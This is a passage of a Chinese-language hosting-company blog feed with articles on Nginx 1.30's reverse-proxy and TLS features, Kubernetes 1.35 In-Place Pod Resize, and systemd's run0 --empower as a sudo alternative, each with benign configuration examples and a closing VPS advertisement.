      <![CDATA[<p>Nginx 1.30.0 在 2026 年 4 月釋出，是 QUIC&#x2F;HTTP&#x2F;3 併進主線之後最有份量的一次 stable 升級。改動集中在反向代理與 TLS 兩塊：proxy 預設連後端改走 HTTP&#x2F;1.1 keep-alive、upstream 可以直接跟後端說 HTTP&#x2F;2、cookie 版 sticky session 從商業版 Nginx Plus 拉回開源、OpenSSL 3.5 就緒後可以開 Encrypted ClientHello 與 TLS 證書壓縮。這些不是 changelog 上帶過去的小修，跑在臺灣 VPS 上作為反向代理的 nginx 該不該現在升、每項到底怎麼開才有意義，這篇一項一項拆開講。</p><h2 id="預設連後端改成-HTTP-1-1-keep-alive，不動設定也會變"><a href="#預設連後端改成-HTTP-1-1-keep-alive，不動設定也會變" class="headerlink" title="預設連後端改成 HTTP&#x2F;1.1 keep-alive，不動設定也會變"></a>預設連後端改成 HTTP&#x2F;1.1 keep-alive，不動設定也會變</h2><p>過去 nginx 的 <code>proxy_pass</code> 對後端預設是 HTTP&#x2F;1.0 且不帶 keep-alive，每一個進來的請求就對後端開一條新 TCP 連線再關掉。這個預設值追溯到 2004 年還沒有 HTTP&#x2F;1.1 keepalive 生態的時代，之後所有教學都在補丁式地告訴讀者要在 <code>location</code> 裡加上 <code>proxy_http_version 1.1;</code> 跟 <code>proxy_set_header Connection &quot;&quot;;</code>，再配一個 <code>upstream { keepalive 32; }</code> 才會走連線池。</p><p>1.30 把這條預設直接翻過來。裝完新版之後 <code>proxy_pass</code> 對後端就是 HTTP&#x2F;1.1、<code>Connection</code> 頭預設是空字串、upstream keepalive 模組預設 active。之前寫過補丁的 config 沒事，之前沒寫的 config 現在自動享受連線復用。這對每秒進出幾百個短請求的反向代理是實打實的延遲改善，短連線爆掉的 TIME_WAIT 也會少一大截。</p><p>要留意的邊角是後端。有些老舊 CGI、老的 PHP-FPM socket 前端、甚至一些自寫的 upstream 收到 keep-alive TCP 連線會表現得很怪——最經典的是連線閒置一段時間之後後端先關、nginx 下次派請求進去正好撞上 half-close，回一個 502。這種情況 nginx 會自動 retry 到下一個 upstream，但如果 upstream 只有一個而 <code>proxy_next_upstream</code> 沒放行 error，client 就直接看到 502。升上去以後前幾天要看 error log 有沒有 <code>upstream prematurely closed connection</code>，出現就把 <code>keepalive_timeout</code> 調到比後端 idle timeout 短。</p><h2 id="HTTP-2-直達-upstream，微服務內網終於不必自己拆頭"><a href="#HTTP-2-直達-upstream，微服務內網終於不必自己拆頭" class="headerlink" title="HTTP&#x2F;2 直達 upstream，微服務內網終於不必自己拆頭"></a>HTTP&#x2F;2 直達 upstream，微服務內網終於不必自己拆頭</h2><p>同一個版本把 <code>proxy_http_version 2</code> 這條路正式打通。以往 nginx 跟後端之間如果想跑 HTTP&#x2F;2 只能靠 grpc_pass 走 gRPC 或是自己 patch，一般 REST upstream 進來 HTTP&#x2F;2、出去強制降成 HTTP&#x2F;1.1，中間所有多工的好處都被拆光。1.30 讓 upstream 段落可以宣告 HTTP&#x2F;2，同一條 TCP 連線多路請求，微服務網格內部 kubernetes service 之間或者 nginx 前面接 gRPC 後面接內部 REST 的組合，都可以少一次 protocol downgrade。</p><p>實務上真要開 HTTP&#x2F;2 到 upstream 得盤兩件事。第一是後端必須支援 h2c（純明文的 HTTP&#x2F;2）或者你願意在內網做 TLS，這件事社群共識非常分歧，但如果 upstream 就在同一臺 VPS 上跑 unix socket 或 loopback，多加 TLS 反而拖慢。第二是 <code>proxy_buffering</code> 開著的時候 HTTP&#x2F;2 的多工優勢被 nginx 自己的 buffer 吃掉一半，如果 upstream 送 SSE 或 streaming JSON，記得把 buffering 關掉。</p><h2 id="sticky-cookie-從-Plus-拉回-OSS，等了十幾年"><a href="#sticky-cookie-從-Plus-拉回-OSS，等了十幾年" class="headerlink" title="sticky cookie 從 Plus 拉回 OSS，等了十幾年"></a>sticky cookie 從 Plus 拉回 OSS，等了十幾年</h2><p><code>sticky cookie</code> 這個功能商業版 Nginx Plus 從 2012 年就有，開源版一直沒給。社群這十幾年只能靠 michaelneale&#x2F;nginx-sticky-module 這種第三方模組自己編 nginx，或退而求其次用 <code>hash $cookie_JSESSIONID consistent;</code> 之類的方法做偽 sticky——前者要維護 build pipeline，後者遇到 client 不吃 cookie 或換網段就整個 hash 重算，session 直接飛。</p><p>1.30 把 cookie 版 sticky 塞進 upstream 模組本體。config 寫起來這樣：</p><figure class="highlight nginx"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="section">upstream</span> backend &#123;</span><br><span class="line">    <span class="attribute">server</span> <span class="number">10.0.0.11:8080</span>;</span><br><span class="line">    <span class="attribute">server</span> <span class="number">10.0.0.12:8080</span>;</span><br><span class="line">    <span class="attribute">sticky</span> cookie srv_id expires=<span class="number">1h</span> domain=.example.com path=/;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>nginx 第一次派請求到某臺後端之後，回應會多一個 <code>Set-Cookie: srv_id=&lt;opaque&gt;</code> 給 client，之後所有帶著這顆 cookie 的請求都黏在同一臺 upstream 上。opaque 值是加密過的 upstream identifier，client 看不出來也改不了。這個對於還沒完全 stateless、session 存在記憶體或本機檔的老應用是真的救星，特別是那種要遷雲但沒預算重寫的 legacy Java web。</p><p>要提醒的是 <code>sticky learn</code>（NGINX Plus 那個從流量裡挖 session id 的變體）目前還在 Plus，開源版只給 cookie。真的需要 route 或 learn 模式的還是得付錢。另外 sticky 天生跟橫向擴展打架——某臺 upstream 掛掉那顆 cookie 對應的所有 session 就一起飛了，這是 sticky 這個概念本身的限制，nginx 的 config 沒魔法解。</p><h2 id="Encrypted-ClientHello-進了，但沒-OpenSSL-3-5-開不了"><a href="#Encrypted-ClientHello-進了，但沒-OpenSSL-3-5-開不了" class="headerlink" title="Encrypted ClientHello 進了，但沒 OpenSSL 3.5 開不了"></a>Encrypted ClientHello 進了，但沒 OpenSSL 3.5 開不了</h2><p>Encrypted ClientHello（ECH）解決 TLS 交握時 SNI 明文外洩這條老問題。原本瀏覽器連 example.com 的時候 SNI 直接寫 example.com 在明文的 ClientHello 裡，中間任何路徑上的 middlebox、ISP、路由器都看得到「這個人在連哪個域名」。ECH 把整個 ClientHello（包含 SNI）封在一個外層 ClientHello 裡面，外層用一個共享的 public SNI，內層要伺服器用私鑰解密才拿得到。</p><p>nginx 1.30 的 ECH 需要底層是 OpenSSL 3.5 或以上。這裡有個坑——大部分發行版現在還停在 OpenSSL 3.0 或 3.2，Debian 13 帶的是 3.5，Ubuntu 24.04 是 3.0，RHEL 系的 EL9 也還沒到。要用 ECH 現階段要嘛換 Debian 13、要嘛自己編一個帶新 OpenSSL 的 nginx。config 上開起來就是：</p><figure class="highlight nginx"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="section">server</span> &#123;</span><br><span class="line">    <span class="attribute">listen</span> <span class="number">443</span> ssl;</span><br><span class="line">    <span class="attribute">server_name</span> inner.example.com;</span><br><span class="line"></span><br><span class="line">    <span class="attribute">ssl_certificate</span>     /etc/nginx/certs/inner.crt;</span><br><span class="line">    <span class="attribute">ssl_certificate_key</span> /etc/nginx/certs/inner.key;</span><br><span class="line"></span><br><span class="line">    <span class="attribute">ssl_ech_keys</span> /etc/nginx/ech/key1.ech.pem;</span><br><span class="line">    <span class="attribute">ssl_ech_keys</span> /etc/nginx/ech/key2.ech.pem;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>私鑰塞 nginx，對應的公鑰要發布到 DNS 的 HTTPS resource record 給瀏覽器抓。這條 DNS 依賴讓 ECH 在只有 DNS-over-HTTPS 的環境才真的有意義，如果 DNS 是明文查詢，網路觀察者一樣從 DNS 就看到 client 在解哪個域名，ECH 保護的隱私就漏光。實務上單獨開 ECH 沒什麼用，配 DoH&#x2F;DoT 一起才成立，多站點共用一個 IP 的環境（同一臺 VPS 上跑很多 SaaS）受益最明顯，那種只有一個域名的個人網站開起來只是負擔。</p><h2 id="TLS-證書壓縮跟-Early-Hints，兩個延遲小刀"><a href="#TLS-證書壓縮跟-Early-Hints，兩個延遲小刀" class="headerlink" title="TLS 證書壓縮跟 Early Hints，兩個延遲小刀"></a>TLS 證書壓縮跟 Early Hints，兩個延遲小刀</h2><p>證書壓縮走的是 RFC 8879，Server Hello 之後把整條證書鏈用 brotli 或 zstd 壓一次再送。對 mobile client、高延遲鏈路以及帶完整 chain 的長 fullchain（例如 Let’s Encrypt 的 R11 加上根）節省的 handshake bytes 從 2~4 KB 起跳，對 HTTP&#x2F;3 那種 1-RTT 完成 TLS 的場景一個 packet 塞不塞得下就是差別。1.30 支援之後只要 client 也支援（現代瀏覽器都會 advertise），nginx 會自動壓縮，不用改 config。</p><p>Early Hints（HTTP 103）是另一個路徑。原本 client 送出請求之後要等 server 把完整回應算好才能收到 header，才能開始 preload CSS&#x2F;JS。有 Early Hints 之後 server 可以先回一個 103 帶 <code>Link: &lt;/styles.css&gt;; rel=preload</code> 提示 client 開始拉資源，正式的 200 之後再送。動態頁面（server 端算得慢的、SSR 的、要打資料庫的）節省的 first byte 到 first paint 時間可觀。1.30 讓 nginx 從 upstream 收到 103 之後可以直通 client，不用像以前那樣被 buffering 吞掉。</p><h2 id="max-headers-之類的小配件"><a href="#max-headers-之類的小配件" class="headerlink" title="max_headers 之類的小配件"></a>max_headers 之類的小配件</h2><p>security-side 補了一個 <code>max_headers</code> directive 限制單一請求最多可以帶多少個 header，預設 100，用來擋 header 灌爆的 DoS。之前只能靠 <code>large_client_header_buffers</code> 間接限制，那個限的是總 bytes 不是 count。另外新增了 <code>$ssl_sigalg</code> 跟 <code>$ssl_client_sigalg</code> 兩個變數方便 log 交握時用了哪個簽章演算法，觀察 post-quantum 遷移進度會用到。</p><h2 id="該不該升，怎麼升"><a href="#該不該升，怎麼升" class="headerlink" title="該不該升，怎麼升"></a>該不該升，怎麼升</h2><p>如果反向代理已經在 stable 1.28 上跑順、後端沒有奇怪的 keep-alive 相容問題，1.30 值得排進近期的維運視窗。預設連後端 keep-alive 這件事升上去馬上有感，sticky cookie 對老 web app 是解決痛點，證書壓縮不用改設定就有。ECH 跟 upstream HTTP&#x2F;2 屬於「需要另外配套才有意義」的功能，可以之後再排。</p><p>升級路徑上，Debian 13 官方 repo 就是新版，直接 apt 就上去；還在 Debian 12 或 Ubuntu 22.04 的話用 nginx 官方 repo 拿 1.30 packages，OpenSSL 版本相依會自己處理。要玩 ECH 才需要在意底層 OpenSSL，其他功能 OpenSSL 3.0 就跑得動。設定檔向後相容，之前手動加的 <code>proxy_http_version 1.1</code> 跟 <code>Connection &quot;&quot;</code> 不衝突，可以留著也可以慢慢清乾淨。</p><p>NCSE Network 的臺灣是方電訊機房 VPS 適合這種反向代理場景——Intel Gold CPU 對 TLS handshake 的加密運算給得起，NVMe SSD 對 nginx 的 access log 寫入延遲穩定，臺灣境內 latency 讓 sticky session 這種黏著特定後端的架構表現得比跨海方案好。要把 nginx 1.30 這批新特性用起來、或需要一臺乾淨 Debian 13 環境自己編 OpenSSL 3.5 版本試 ECH 的，可以到 <a href="https://ncse.tw/">ncse.tw</a> 看方案。</p>]]>
    </content>
    <id>https://blog.ncse.tw/nginx-1-30-sticky-session-ech-http2-backend-keepalive-early-hints/</id>
    <link href="https://blog.ncse.tw/nginx-1-30-sticky-session-ech-http2-backend-keepalive-early-hints/"/>
    <published>2026-08-31T04:00:00.000Z</published>
    <summary>Nginx 1.30 是 QUIC 併入主線後最有份量的一次 stable，proxy 預設改用 HTTP/1.1 keep-alive、可以對 upstream 直接說 HTTP/2、cookie sticky session 從商業版拉回 OSS，再加上要 OpenSSL 3.5 才能玩的 ECH 與 TLS 證書壓縮。本文拆解每項改動的實務影響與遷移細節。</summary>
    <title>Nginx 1.30 把 sticky cookie 從 Plus 拉回開源、預設連後端也改成 HTTP/1.1 keep-alive：ECH、證書壓縮、Early Hints 一次補上反向代理該有的樣子</title>
    <updated>2026-09-10T01:13:30.521Z</updated>
  </entry>
  <entry>
    <author>
      <name>NCSE Network</name>
    </author>
    <category term="Kubernetes" scheme="https://blog.ncse.tw/tags/Kubernetes/"/>
    <category term="In-Place Pod Resize" scheme="https://blog.ncse.tw/tags/In-Place-Pod-Resize/"/>
    <category term="VPA" scheme="https://blog.ncse.tw/tags/VPA/"/>
    <category term="資源調度" scheme="https://blog.ncse.tw/tags/%E8%B3%87%E6%BA%90%E8%AA%BF%E5%BA%A6/"/>
    <category term="cgroup v2" scheme="https://blog.ncse.tw/tags/cgroup-v2/"/>
    <content>
      <![CDATA[<p>Kubernetes 1.35 於 2025 年 12 月釋出，把從 v1.27 alpha 一路走到 v1.33 beta 的 In-Place Pod Resize 正式收進 stable。六年前這個 KEP 剛提出時，社群對「一個運行中的 Pod 能不能改 CPU 跟記憶體」的答案很簡單：不行，殺掉重生就好。這一直是 Kubernetes 縱向擴縮的原罪，任何 requests 或 limits 的變動都得走一次 rolling update，滿手長連線、有本地快取或跑到一半資料處理的 Pod 通通得重來。1.35 把這條路真的走通，但走通不代表所有工作負載都能安全用上，resizePolicy 該怎麼設、記憶體降容那條 OOMKill 界線該怎麼守，才是這次要看的重點。</p><h2 id="為什麼熬了六年才-GA"><a href="#為什麼熬了六年才-GA" class="headerlink" title="為什麼熬了六年才 GA"></a>為什麼熬了六年才 GA</h2><p>In-Place Pod Resize 的難度不在改 cgroup 這個動作本身。cgroup v2 早就允許動態調整 CPU 跟 memory limit，直接寫 sysfs 檔案就行。真正卡住社群的是狀態一致性：Pod 的 <code>spec.containers[*].resources</code> 是使用者輸入的期望值，<code>status.containerStatuses[*].resources</code> 才是 kubelet 真的推到容器上的實際值，兩者之間可能因為節點資源不足而卡在 Deferred 或 InProgress。這個 desired vs actual 的模型設計，加上 scheduler、kubelet、CRI runtime 三方協調誰有權裁決，才是拖到 v1.35 才敢貼 GA 標籤的原因。</p><p>1.35 引入獨立的 resize subresource：<code>PATCH /api/v1/namespaces/{ns}/pods/{name}/resize</code>。這條路徑跟一般 Pod 更新分開，權限也單獨切出來——RBAC 上可以只給某個 controller <code>resize</code> 而不給 <code>update</code>，等於 VPA 或自訂 controller 有辦法在受限權限下調資源，而不會順手能改 Pod 其他欄位。這個切分在稽核跟最小權限實作上很有意義。</p><h2 id="resizePolicy-是這次真正該留意的欄位"><a href="#resizePolicy-是這次真正該留意的欄位" class="headerlink" title="resizePolicy 是這次真正該留意的欄位"></a>resizePolicy 是這次真正該留意的欄位</h2><p>CPU 跟記憶體的 resize 行為由 per-container 的 <code>resizePolicy</code> 控制，兩個選項：<code>NotRequired</code> 直接調 cgroup、<code>RestartContainer</code> 觸發容器重啟。預設兩個資源都是 <code>NotRequired</code>，但這對 JVM、Go 帶 <code>GOMEMLIMIT</code>、Python 帶 <code>PYTHONMALLOC</code> arena、或任何在啟動時就 pre-allocate 記憶體池的執行環境是陷阱。</p><p>具體場景：一個 Spring Boot 服務用 <code>-XX:+UseContainerSupport -XX:MaxRAMPercentage=75</code> 起在 memory limit 2 GiB 上，JVM 認到的 heap ceiling 就固定在 1.5 GiB。透過 in-place resize 把 limit 拉到 4 GiB，cgroup 立刻放寬，但 JVM 內部的 heap ceiling 不會重新協商，等於白調——<code>-Xmx</code> 已經在 process 記憶體佈局裡固定住了。這種情境的正解是為 memory 設 <code>RestartContainer</code>：</p><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">resizePolicy:</span></span><br><span class="line"><span class="bullet">-</span> <span class="attr">resourceName:</span> <span class="string">cpu</span></span><br><span class="line">  <span class="attr">restartPolicy:</span> <span class="string">NotRequired</span></span><br><span class="line"><span class="bullet">-</span> <span class="attr">resourceName:</span> <span class="string">memory</span></span><br><span class="line">  <span class="attr">restartPolicy:</span> <span class="string">RestartContainer</span></span><br></pre></td></tr></table></figure><p>CPU 給 NotRequired 有意義，JIT 熱身或流量尖峰可以動態加 CPU 而不打斷連線；記憶體給 RestartContainer 是承認 JVM 這類 runtime 需要 process 重啟才能真正吃到新的 heap。反過來，Envoy、Nginx、Redis、PostgreSQL 這類 C&#x2F;C++ 寫的 daemon 對 memory limit 變動可以直接反應，兩個資源都給 NotRequired 沒問題。</p><p>一個容易踩雷的限制：<code>resizePolicy</code> 在 Pod 建立後不可變更。這代表決策要在 spec 寫下去那一刻就想清楚，事後改 Deployment template 也只是重建 Pod 才會生效——多環境 rollout 時尤其要盯緊。</p><h2 id="VPA-InPlaceOrRecreate-才是這次生態圈變動的重點"><a href="#VPA-InPlaceOrRecreate-才是這次生態圈變動的重點" class="headerlink" title="VPA InPlaceOrRecreate 才是這次生態圈變動的重點"></a>VPA InPlaceOrRecreate 才是這次生態圈變動的重點</h2><p>Vertical Pod Autoscaler 在 1.35 對齊之後補上一個新模式：<code>InPlaceOrRecreate</code>，優先用 in-place resize 調整，做不到再退回舊的驅逐重建路徑。過去 VPA 只有 <code>Auto</code> 跟 <code>Recreate</code> 能實際套用推薦值，而這兩者都是先 evict 再等 controller 重建 Pod，對有狀態服務、長流程作業、或 Deployment 剛好只有一個 replica 的情境幾乎不能用。改成 InPlaceOrRecreate 之後 VPA 才真正對 stateful workload 有實用價值。</p><p>VPA 何時會退回 evict？三種情境：Pod 沒設 <code>resizePolicy: NotRequired</code>、記憶體 limit 要往下調且當前使用量已經高於目標值、或節點資源不足以在原機執行放大。第二種是設計上刻意的 fallback：與其在原機直接推小 memory limit 然後被 OOM Killer 收走，不如換一臺容量充裕的節點重新排程。實務上建議把 <code>InPlaceOrRecreate</code> 搭配 PDB 一起設，確保退回 evict 那條路徑不會一次拉倒整個 Deployment。</p><h2 id="記憶體降容-OOMKill-那條線"><a href="#記憶體降容-OOMKill-那條線" class="headerlink" title="記憶體降容 OOMKill 那條線"></a>記憶體降容 OOMKill 那條線</h2><p>這是 In-Place Pod Resize 目前最大的一個實務地雷。把 memory limit 從 4 GiB 降到 2 GiB，如果容器當下實際用了 3 GiB，cgroup <code>memory.max</code> 直接寫下 2 GiB 之後，kernel OOM killer 會立刻挑一個目標——通常就是這個容器裡最大的 process。1.34 版本這個行為被明確標成「best-effort，可能 OOMKill」，1.35 GA 沒有為這種降容加任何保護欄。</p><p>kubelet 端能做的檢查很有限：它會拒絕明顯不合理的降容請求，例如新 limit 低於 request，但不會去查 <code>container_memory_working_set_bytes</code> 是不是還在爆的邊緣。這個責任被推到呼叫方——不管是人工 kubectl、GitOps controller、還是 VPA。實務上安全的做法有兩種選擇：把 memory 的 resizePolicy 設成 <code>RestartContainer</code>，讓每次降容都走一次 clean restart，代價是連線斷；或者接受 memory limit 只往上調不往下調，把降容留給下一次 Pod 重建。後者對絕大多數應用是更好的預設，尤其考慮到 Java、Node.js 這類 GC runtime 本來就會在有空間時佔滿 heap，強制降容幾乎必翻車。</p><h2 id="想跑起來，節點要先過三關"><a href="#想跑起來，節點要先過三關" class="headerlink" title="想跑起來，節點要先過三關"></a>想跑起來，節點要先過三關</h2><p>三個前置條件常常被忽略：kernel 要能跑 cgroup v2、CRI runtime 是 containerd 2.0+ 或 CRI-O 對應版本、kubectl 至少 v1.32。cgroup v1 的環境雖然還能吃到部分功能，但 memory 一律只能用 <code>RestartContainer</code> 模式，等於等同於 rolling update，實用意義有限。Debian 11、CentOS 7 這種還沒下架的舊節點基本上會被擋在門口，遷移到 cgroup v2 通常等於換 kernel 加改 grub cmdline，然後重開機。</p><p>containerd 1.7 對 in-place resize 的支援是實驗性的，1.35 開始官方建議 2.0+。RKE2、K3s、kubeadm 底下自帶的 containerd 版本得先確認，特別是自架環境用 apt&#x2F;yum 裝的通常慢一兩個 minor version。至於 Docker Engine 走 dockershim 那條路早在 1.24 就被砍掉，這裡不重覆了。</p><h2 id="現階段該怎麼用"><a href="#現階段該怎麼用" class="headerlink" title="現階段該怎麼用"></a>現階段該怎麼用</h2><p>值得先用起來的三個場景：測試環境自動右調 requests 降低資源浪費、批次 job 起動時放大 CPU 加速 JIT 熱身、以及有明確流量週期的服務用 cron 驅動的 controller 做 scheduled resize。VPA 的 InPlaceOrRecreate 目前還在 beta，生產環境建議先觀察一到兩個 minor version 再全面切上去，畢竟這是六年來 Kubernetes 資源調度模型最大的一次改動，autoscaler 這邊的推薦演算法也還在跟新行為對齊。</p><p>跑在自家 VPS 或代管節點上的 Kubernetes 叢集要吃到這個新功能，除了升到 1.35 之外，最關鍵的是節點作業系統的 kernel 跟 CRI runtime 版本要跟得上。臺灣是方電訊機房的 NCSE Network VPS 全線支援自訂 kernel 跟 cgroup v2 開機參數調整，Intel Gold CPU 與 NVMe SSD 的搭配也適合當 Kubernetes 節點跑穩定工作負載。想把叢集升到 1.35 並實測 In-Place Pod Resize 對現有服務的影響，可以到 <a href="https://ncse.tw/">ncse.tw</a> 查看相關方案。</p>]]>
    </content>
    <id>https://blog.ncse.tw/kubernetes-1-35-in-place-pod-resize-ga-resizepolicy-vpa-inplaceorrecreate-memory-oomkill/</id>
    <link href="https://blog.ncse.tw/kubernetes-1-35-in-place-pod-resize-ga-resizepolicy-vpa-inplaceorrecreate-memory-oomkill/"/>
    <published>2026-08-30T02:00:00.000Z</published>
    <summary>Kubernetes 1.35 於 2025 年 12 月把 In-Place Pod Resize 從 v1.27 alpha 熬到 GA，CPU 與記憶體的 requests、limits 首次能在 Pod 存活時就地改動。本文拆解 resizePolicy 為什麼對 JVM、JIT 型工作負載必須設 RestartContainer、VPA InPlaceOrRecreate 何時仍會退回驅逐 Pod、以及記憶體 limit 降容那條 OOMKill 邊界該怎麼守。</summary>
    <title>In-Place Pod Resize 熬六年終於在 Kubernetes 1.35 GA：resizePolicy、VPA InPlaceOrRecreate 與記憶體降容那條會 OOMKill 的實務界線</title>
    <updated>2026-09-10T01:13:30.517Z</updated>
  </entry>
  <entry>
    <author>
      <name>NCSE Network</name>
    </author>
    <category term="VPS" scheme="https://blog.ncse.tw/tags/VPS/"/>
    <category term="Linux" scheme="https://blog.ncse.tw/tags/Linux/"/>
    <category term="systemd" scheme="https://blog.ncse.tw/tags/systemd/"/>
    <category term="系統管理" scheme="https://blog.ncse.tw/tags/%E7%B3%BB%E7%B5%B1%E7%AE%A1%E7%90%86/"/>
    <category term="polkit" scheme="https://blog.ncse.tw/tags/polkit/"/>
    <content>
      <![CDATA[<p>Linux 世界抱著 sudo 這隻 SUID root binary 走了三十年。每一次 CVE-2021-3156「Baron Samedit」、CVE-2023-22809「sudoedit 環境變數注入」、CVE-2025-32463「chroot LPE」冒出來，社群都是同一個反應：緊急升級、掃描 sudoers、罵一句 setuid bit。問題不在 sudo 團隊寫得不夠謹慎，而是 SUID root 這個模型本質上就是一支不斷被戳的靶：一支普通使用者能執行、但真身是 UID 0 的 binary，攻擊面等於整個 libc、環境變數、terminal escape、以及所有它會 exec 出去的 helper。</p><p>systemd v256 在 2024 年放出來的 <code>run0</code>，第一次把「提權」這件事從 SUID binary 搬到透過 D-Bus 呼叫 PID 1 建立新 session 的路徑上。當時 <code>run0</code> 只做到「把使用者切成 root」，跟 sudo 的行為差不多，只是實作乾淨。真正把這條路走完的，是 2025 年 12 月釋出的 systemd 259 版加進來的 <code>--empower</code> 開關——命令會以原使用者的 UID 執行、不切成 root，但拿到 ambient capability 加上 polkit 認可的 empower 群組身分，實際上能做的事情跟 root 差不多。這是 sudo 三十年來第一次遇到結構上真正不一樣的替代品。</p><h2 id="為什麼-SUID-root-現在還是包袱"><a href="#為什麼-SUID-root-現在還是包袱" class="headerlink" title="為什麼 SUID root 現在還是包袱"></a>為什麼 SUID root 現在還是包袱</h2><p>sudo 的 binary 上有 SUID bit，任何 UID 的使用者執行它，process 的 effective UID 立刻變成 0。這個機制是 1970 年代 UNIX 就有的設計，當年的假設是：只有幾支被審過的 binary 需要提權、跑完就結束、terminal 是可信的。</p><p>三個假設在 2020 年代都不成立。第一，SUID binary 遠不止 sudo——<code>ping</code>、<code>mount</code>、<code>passwd</code>、<code>chsh</code>、<code>newgrp</code> 每支都是攻擊面，defense-in-depth 的建議是能拔就拔。第二，sudo 邏輯膨脹到現在有幾萬行 C 加各種 helper，每一次修 bug 都可能引進新洞，Baron Samedit 就是 sudoedit heap overflow 藏了十年才被抓到。第三，terminal 早就不可信——TIOCSTI ioctl 讓子程序能把字元「回打」給父 terminal，多少年來被拿來從 sudo session 逃出去執行 root 命令，Linux 6.2 才把它預設關掉。</p><p>換句話說，SUID root 的整個模型是一個「小信任區塊被大信任區塊包住」的倒過來設計。要修，得從 binary 本身沒有 UID 0 特權開始。</p><h2 id="run0-走的是-PID-1-建立-session-這條路"><a href="#run0-走的是-PID-1-建立-session-這條路" class="headerlink" title="run0 走的是 PID 1 建立 session 這條路"></a>run0 走的是 PID 1 建立 session 這條路</h2><p><code>run0</code> 不是 setuid binary，也不會自己切 UID。使用者敲 <code>run0 systemctl restart nginx</code>，binary 做的事只有一件：透過 D-Bus 呼叫使用者 session 的 systemd，請它以指定的 UID 建立一個新的 transient service，把命令交給 PID 1 去 fork。認證由 polkit 負責，polkit 認證 prompt 走的是獨立通道，不受呼叫端 terminal 影響。</p><p>這條路跟 SSH 進本機 root 帳號的行為其實比較像，systemd 上游自己也是這樣描述的。一支獨立的 pseudo-TTY 會分配給新 session、標準輸入輸出獨立、環境變數重新初始化、<code>$SUDO_USER</code> <code>$SUDO_UID</code> <code>$SUDO_GID</code> 依 sudo 慣例填好，甚至 shell prompt 前綴預設加一個超人 emoji 提示這是特權 session（可以用 <code>SYSTEMD_RUN_SHELL_PROMPT_PREFIX</code> 蓋掉）。TIOCSTI 那類 terminal 攻擊在這個模型下不成立，因為 caller 的 terminal 跟被叫起來的 root shell 是兩個完全不同的 TTY。</p><p>到 v258 為止這都算是 sudo 的乾淨替代品，只是必須改一個習慣：目標 UID 預設是 root。<code>run0 systemctl restart nginx</code> 底下實際上是 UID 0 在跑 systemctl。這件事跟 sudo 一樣，能不能不切 UID 就把事情做完？v259 的 <code>--empower</code> 就是回答這個問題。</p><h2 id="–empower-把提權跟改-UID-拆開"><a href="#–empower-把提權跟改-UID-拆開" class="headerlink" title="–empower 把提權跟改 UID 拆開"></a>–empower 把提權跟改 UID 拆開</h2><p><code>--empower</code> 開起來之後，<code>run0</code> 的行為變成：不變更 target UID（預設維持呼叫者），但對這個新 session 做兩件事——設定完整的 ambient capability mask（包括 <code>CAP_SYS_ADMIN</code>），並把 process 加進名為 <code>empower</code> 的系統群組作為補充群組（supplementary group）。polkit 的預設規則認 <code>empower</code> 群組，這個群組成員預設能通過所有 polkit action 的授權檢查。</p><p>實務上結果是：以自己的 UID 跑 <code>run0 --empower systemctl daemon-reload</code>，systemctl 呼叫 D-Bus 到 systemd 要求重新載入，systemd 檢查 polkit，polkit 看到 caller 屬於 empower 群組直接放行，daemon-reload 就跑起來了——整個過程沒有任何 process 是 UID 0，也沒有 SUID binary。CAP_SYS_ADMIN 讓少數還走 <code>capable()</code> 檢查而不是 D-Bus 路徑的操作（例如某些 <code>mount</code>、<code>sysctl</code>、bpf 系統呼叫）也能通過。</p><p>這件事的實際意義比看起來大。傳統 sudo 有一個很難堵的洞：任何以 root 身分建立的檔案、寫入的 config、留在 <code>/tmp</code> 的 lock file，事後 chown 回原本使用者的機率是零。加上 root context 下的 shell history、環境變數污染、<code>umask</code> 差異，team-server 上一堆詭異的權限問題往回追常常都是「上一個維運跑 sudo 亂改東西沒 chown 回來」。<code>run0 --empower</code> 下這些檔案的 owner 就是呼叫者本人，本來就不會歪。</p><p>但 <code>--empower</code> 有兩個 caveat 要拿出來講清楚，這是 systemd 上游明白寫進 NEWS 的：</p><p>第一，<code>--empower</code> 對「純靠 UID 判斷、不看 capability 也不查 polkit」的老程式沒用。這類程式的授權模型就是 <code>if (geteuid() != 0) exit(1);</code>，跟 capability 系統無關。這種情境還是得走 target UID &#x3D; root，直接 <code>run0 systemctl</code> 或 <code>run0 su -</code>。</p><p>第二，如果同 UID 底下有其他 unprivileged process，那些 process 可以透過 ptrace、<code>/proc/&lt;pid&gt;/mem</code>、signal 等機制去干擾被 empower 的 process。傳統 UID 隔離會擋掉這條攻擊面（UID 不同就無法 ptrace），<code>--empower</code> 因為 UID 相同就沒了。結論是這個模式適合乾淨 login session 加一支 empower shell，不適合塞進共用帳號或會被非特權 daemon 觸碰到的環境。</p><h2 id="VPS-上實務怎麼配"><a href="#VPS-上實務怎麼配" class="headerlink" title="VPS 上實務怎麼配"></a>VPS 上實務怎麼配</h2><p>Debian 13、Ubuntu 26.04、Fedora 42+、Arch 現行的 systemd 套件都內建 <code>run0</code> 跟 <code>pam_systemd_run0</code>。VPS 上的最小可用配置是把管理員加進本地系統群組，然後寫一條 polkit 規則允許該群組免密碼過關。傳統做法是拿 <code>wheel</code> 這條線，<code>run0</code> 的預設 polkit 檔案也認 wheel。</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// /etc/polkit-1/rules.d/49-wheel-run0.rules</span></span><br><span class="line">polkit.<span class="title function_">addRule</span>(<span class="keyword">function</span>(<span class="params">action, subject</span>) &#123;</span><br><span class="line">    <span class="keyword">if</span> (action.<span class="property">id</span> == <span class="string">&quot;org.freedesktop.systemd1.manage-units&quot;</span> 